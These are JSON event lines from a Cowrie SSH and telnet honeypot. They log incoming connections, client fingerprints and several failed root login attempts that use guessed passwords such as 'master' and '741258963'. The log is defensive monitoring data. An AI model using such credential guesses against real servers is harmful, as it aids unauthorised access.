{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:58:57.857011Z","src_ip":"87.251.79.125","session":"cf08adf99bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:58:57.930865Z","src_ip":"87.251.79.125","session":"cf08adf99bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123567","message":"login attempt [root/123567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:58:58.145308Z","src_ip":"87.251.79.125","session":"cf08adf99bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:58:59.219725Z","src_ip":"87.251.79.125","session":"cf08adf99bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":39756,"dst_ip":"10.17.0.5","dst_port":22,"session":"01f74a71bcd6","protocol":"ssh","message":"New connection: 41.93.28.9:39756 (10.17.0.5:22) [session: 01f74a71bcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:12.037892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:12.043182Z","src_ip":"41.93.28.9","session":"01f74a71bcd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:13.035204Z","src_ip":"41.93.28.9","session":"01f74a71bcd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39394,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a9c98883e9a","protocol":"ssh","message":"New connection: 103.27.238.116:39394 (159.203.135.109:22) [session: 7a9c98883e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:15.589243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:15.596520Z","src_ip":"103.27.238.116","session":"7a9c98883e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:15.884527Z","src_ip":"103.27.238.116","session":"7a9c98883e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741258963","message":"login attempt [root/741258963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:16.750375Z","src_ip":"103.27.238.116","session":"7a9c98883e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:17.001739Z","src_ip":"41.93.28.9","session":"01f74a71bcd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:18.041206Z","src_ip":"103.27.238.116","session":"7a9c98883e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:21.257677Z","src_ip":"41.93.28.9","session":"01f74a71bcd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":52140,"dst_ip":"159.203.135.109","dst_port":23,"session":"79d9789a24da","protocol":"telnet","message":"New connection: 186.195.16.41:52140 (159.203.135.109:23) [session: 79d9789a24da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:59:28.256642Z"}